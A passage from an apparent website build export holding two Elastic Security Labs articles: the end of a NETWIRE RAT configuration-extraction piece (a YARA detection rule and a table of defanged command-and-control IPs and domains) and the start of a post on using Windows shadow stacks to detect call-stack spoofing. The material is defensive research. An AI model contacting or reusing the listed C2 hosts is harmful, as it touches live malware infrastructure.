fullword\n $a2 = \"%c%.8x%s\" ascii fullword\n $a3 = \"%6\\\\\\\\6Z65dlNh\\\\\\\\YlS.dfd\" ascii fullword\n $a4 = \"GET %s HTTP/1.1\" ascii fullword\n $a5 = \"R-W65: %6:%S\" ascii fullword\n $a6 = \"PTLLjPq %6:%S -qq9/G.y\" ascii fullword\n condition:\n 4 of them\n}\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"indicators\",children:\"Indicators\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"All indicators are also available \",(0,n.jsx)(e.a,{href:\"https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte3d9f2700cdf6637/63d3f854e4e29e75dc5de351/9965-indicators.zip\",rel:\"nofollow\",children:\"for download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The following indicators were discussed in this research.\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Indicator\"}),(0,n.jsx)(e.th,{children:\"Type\"}),(0,n.jsx)(e.th,{children:\"Note\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"139.28.38[.]235\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"149.102.132[.]253\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"184.75.221[.]115\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"185.136.165[.]182\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"185.140.53[.]139\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"185.140.53[.]144\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"185.140.53[.]154\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"185.140.53[.]61\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"185.216.71[.]251\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"194.36.111[.]59\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"194.5.98[.]126\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"194.5.98[.]178\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"194.5.98[.]188\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"194.5.98[.]65\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"212.193.29[.]37\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"212.193.30[.]230\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"213.152.161[.]249\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"217.151.98[.]163\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"23.105.131[.]166\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"37.0.14[.]199\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"37.0.14[.]203\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"37.0.14[.]206\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"37.0.14[.]208\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"37.0.14[.]214\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"37.120.217[.]243\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"51.161.104[.]138\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"54.145.6[.]146\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"80.66.64[.]136\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"85.209.134[.]105\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"85.31.46[.]78\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"94.156.35[.]40\"}),(0,n.jsx)(e.td,{children:\"ipv4-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"20220627.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"admin96.hopto[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"alice2019.myftp[.]biz\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"asorock1111.ddns[.]net\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"banqueislamik.ddrive[.]online\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"betterday.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"bigman2021.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"blazeblaze.ddns[.]net\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"chongmei33.myddns[.]rocks\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"clients.enigmasolutions[.]xyz\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"gracedynu.gleeze[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ingobea.hopto[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"iphanyi.edns[.]biz\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"iphy.strangled[.]net\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"kimlee11.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"loffgghh.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"megaton.gleeze[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"moran101.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"netuwaya.servecounterstrike[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"nowancenorly.ddns[.]net\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"podzeye.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"podzeye2.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"recoveryonpoint.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"redlinea[.]top\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"roller.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"rozayleekimishere.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"sani990.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"saturdaylivecheckthisout.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"uhie.hopto[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"uhie2020.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"wcbradley.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"xman2.duckdns[.]org\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"zonedx.ddns[.]net\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE RAT C2\"})]})]})]})})]})}function w(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(h,t)})):h(t)}var N=w;return f(W);})();\n;return Component;"},"_id":"articles/netwire-dynamic-configuration-extraction.mdx","_raw":{"sourceFilePath":"articles/netwire-dynamic-configuration-extraction.mdx","sourceFileName":"netwire-dynamic-configuration-extraction.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/netwire-dynamic-configuration-extraction"},"type":"Article","imageUrl":"/assets/images/netwire-dynamic-configuration-extraction/lock-code-combination-configuration.jpg","readingTime":"17 min read","series":"","url":"/netwire-dynamic-configuration-extraction","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Extractor","href":"#extractor"},{"level":2,"title":"Analysis","href":"#analysis"},{"level":2,"title":"Detection","href":"#detection"},{"level":3,"title":"YARA","href":"#yara"},{"level":2,"title":"Indicators","href":"#indicators"}],"author":[{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Finding Truth in the Shadows","slug":"finding-truth-in-the-shadows","date":"2023-01-26","description":"Let's discuss three benefits that Hardware Stack Protections brings beyond the intended exploit mitigation capability, and explain some limitations.","image":"blog-thumb-laser-tunnel.jpg","body":{"raw":"\nMicrosoft has begun rolling out user-mode [Hardware Stack Protection](https://techcommunity.microsoft.com/t5/windows-kernel-internals-blog/understanding-hardware-enforced-stack-protection/ba-p/1247815) (HSP) starting in Windows 10 20H1. HSP is an exploit mitigation technology that prevents corruption of return addresses on the stack, a common component of [code reuse attacks](https://en.wikipedia.org/wiki/Return-oriented_programming) for software exploitation. Backed by silicon, HSP uses Intel's Control flow Enforcement Technology (CET) and AMD's Shadow Stack, combined with software support [described in great detail](https://windows-internals.com/cet-on-windows/) by Yarden Shafir and Alex Ionescu. Note that the terms HSP and CET are often used interchangeably.\n\nHSP creates a shadow stack, separate from the regular stack. It is read-only in user mode, and consists exclusively of return addresses. Contrast this with the regular stack, which interleaves data with return addresses, and must be writable for applications to function correctly. Whenever a CALL instruction executes, the current instruction pointer (aka return address) is pushed onto both the regular and shadow stacks. Conversely, RET instructions pop the return address from both stacks, generating an exception if they mismatch. In theory, ROP attacks are mitigated because attackers can't write arbitrary values to the read-only shadow stack, and changing the Shadow Stack Pointer (SSP) is a privileged operation, making pivots impossible.\n\nToday we’re going to discuss three additional benefits that HSP brings, beyond the intended exploit mitigation capability, then go into some limitations.\n\n# Debugging\n\nAlthough designed as an exploit mitigation, HSP provides useful data for other purposes. Modern versions of [WinDbg](https://apps.microsoft.com/store/detail/windbg-preview/9PGJGD53TN86?hl=en-us\u0026gl=us) will display a hint to the user that they can use SSP as an alternate way to recover a stack trace. This can be very useful when debugging stack corruption bugs that overwrite return addresses, because the shadow stack is independent. It's also useful in situations where the stack unwind data is unavailable.\n\nFor example, see the WinDbg output below for a process memory dump. The `k` command displays a regular stack trace. `dps @ssp` resolves all symbols it can find, starting at SSP - this is essentially a shadow stack trace. Note how the two stack traces are identical except for the first frame:\n\n\n\n# Performance\n\nKernel mode components such as EDR and ETW often capture stack traces to provide additional context to each event. On x64 platforms, a stack walk entails capturing the thread’s context, then looking up a data structure for each frame that enables the walker to \"unwind\" it and find the next frame. These lookups were slow enough that Microsoft saw fit to construct a [multi-tier cache system](http://uninformed.org/index.cgi?v=8\u0026a=2\u0026p=20) when they added x64 support. You can see the traverse/unwind process approximated [here](https://github.com/reactos/reactos/blob/11a71418d50f48ff0e10d2dbbe243afaf34c4368/sdk/lib/rtl/amd64/unwind.c#L909C6-L1011) in ReactOS, sans cache.\n\nGiven that the entire shadow stack likely resides on a single page and no unwinding is required, shadow stack walking is probably more performant than traditional stack walking, though this has yet to be proven.\n\n# Detection\n\nThe shadow stack provides an interesting detection opportunity. Adversaries can use techniques demonstrated in [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer/tree/master) and [CallStackSpoofer](https://github.com/WithSecureLabs/CallStackSpoofer) to obfuscate their presence against thread stack scans (e.g. `StackWalk64`) and inline stack traces like [Sysmon Open Process events](https://www.lares.com/blog/hunting-in-the-sysmon-call-trace/).\n\nBy comparing a traditional stack walk against its shadowy sibling, we can both detect and bypass thread stack spoofing. We present [ShadowStackWalk](https://github.com/gabriellandau/ShadowStackWalk), a PoC that implements CaptureStackBackTrace/StackWalk64 using the shadow stack to catch thread stack spoofing.\n\nWhen the stack is normal, ShadowStackWalk functions similarly to `CaptureStackBackTrace` and `StackWalk64`:\n\n\n\nShadowStackWalk is unaffected by intentional breaks of the call stack such as [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L20-L25). Frames missed by other techniques are in green:\n\n\n\nShadowStackWalk doesn't care about forged stack frames. Incorrect frames are in red. Frames missed by other techniques are in green:\n\n\n\n# Limitations\n\nHardware support for HSP is limited. HSP requires at least an 11th-gen Intel or 5000-series Ryzen CPU, both released in late 2020. There is no software emulation. It will take years for the majority of CPUs to support HSP.\n\nSoftware support for HSP is limited. Microsoft has been slowly rolling it out, even among their own processes. On an example Windows 10 22H2 workstation, it's enabled in roughly 40% of processes. Because HSP is an exploit mitigation, implementation will likely start with common exploitation targets like web browsers, though not all msedge.exe processes shown below are not protected by it. As HSP matures and support improves, non-HSP processes will become outliers worthy of additional scrutiny, similar to processes in 2023 without DEP support. For now, malware can simply choose processes without HSP enabled. Also of note is that HSP does not support WOW64 at all.\n\n\n\nHSP was designed with an exploit mitigation threat model. It was never designed to defend against adversaries who have code execution, can change thread contexts, and perform system calls. In time, adversaries will adapt their call stack manipulations to manipulate the shadow stack as well. However, the fact that the shadow stack is user-RO and changing the SSP is privileged operation means that such tampering requires system calls which can (theoretically) be subjected to far more scrutiny than traditional stack tampering.\n\n# Conclusion\n\nToday we discussed three potential benefits of Windows Hardware Stack Protection, and released [a PoC](https://github.com/gabriellandau/ShadowStackWalk) demonstrating how it can be used to both detect and defeat defense evasions that manipulate the call stack.\n","code":"var Component=(()=\u003e{var d=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var w=(a,e)=\u003e()=\u003e(e||a((e={exports:{}}).exports,e),e.exports),f=(a,e)=\u003e{for(var n in e)i(a,n,{get:e[n],enumerable:!0})},r=(a,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of u(e))!m.call(a,s)\u0026\u0026s!==n\u0026\u0026i(a,s,{get:()=\u003ee[s],enumerable:!(o=p(e,s))||o.enumerable});return a};var k=(a,e,n)=\u003e(n=a!=null?d(g(a)):{},r(e||!a||!a.__esModule?i(n,\"default\",{value:a,enumerable:!0}):n,a)),b=a=\u003er(i({},\"__esModule\",{value:!0}),a);var h=w((H,c)=\u003e{c.exports=_jsx_runtime});var v={};f(v,{default:()=\u003eP,frontmatter:()=\u003eS});var t=k(h()),S={title:\"Finding Truth in the Shadows\",slug:\"finding-truth-in-the-shadows\",date:\"2023-01-26\",description:\"Let's discuss three benefits that Hardware Stack Protections brings beyond the intended exploit mitigation capability, and explain some limitations.\",author:[{slug:\"gabriel-landau\"}],image:\"blog-thumb-laser-tunnel.jpg\",category:[{slug:\"security-research\"}]};function l(a){let e=Object.assign({p:\"p\",a:\"a\",h1:\"h1\",code:\"code\",img:\"img\"},a.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"Microsoft has begun rolling out user-mode \",(0,t.jsx)(e.a,{href:\"https://techcommunity.microsoft.com/t5/windows-kernel-internals-blog/understanding-hardware-enforced-stack-protection/ba-p/1247815\",rel:\"nofollow\",children:\"Hardware Stack Protection\"}),\" (HSP) starting in Windows 10 20H1. HSP is an exploit mitigation technology that prevents corruption of return addresses on the stack, a common component of \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Return-oriented_programming\",rel:\"nofollow\",children:\"code reuse attacks\"}),\" for software exploitation. Backed by silicon, HSP uses Intel's Control flow Enforcement Technology (CET) and AMD's Shadow Stack, combined with software support \",(0,t.jsx)(e.a,{href:\"https://windows-internals.com/cet-on-windows/\",rel:\"nofollow\",children:\"described in great detail\"}),\" by Yarden Shafir and Alex Ionescu. Note that the terms HSP and 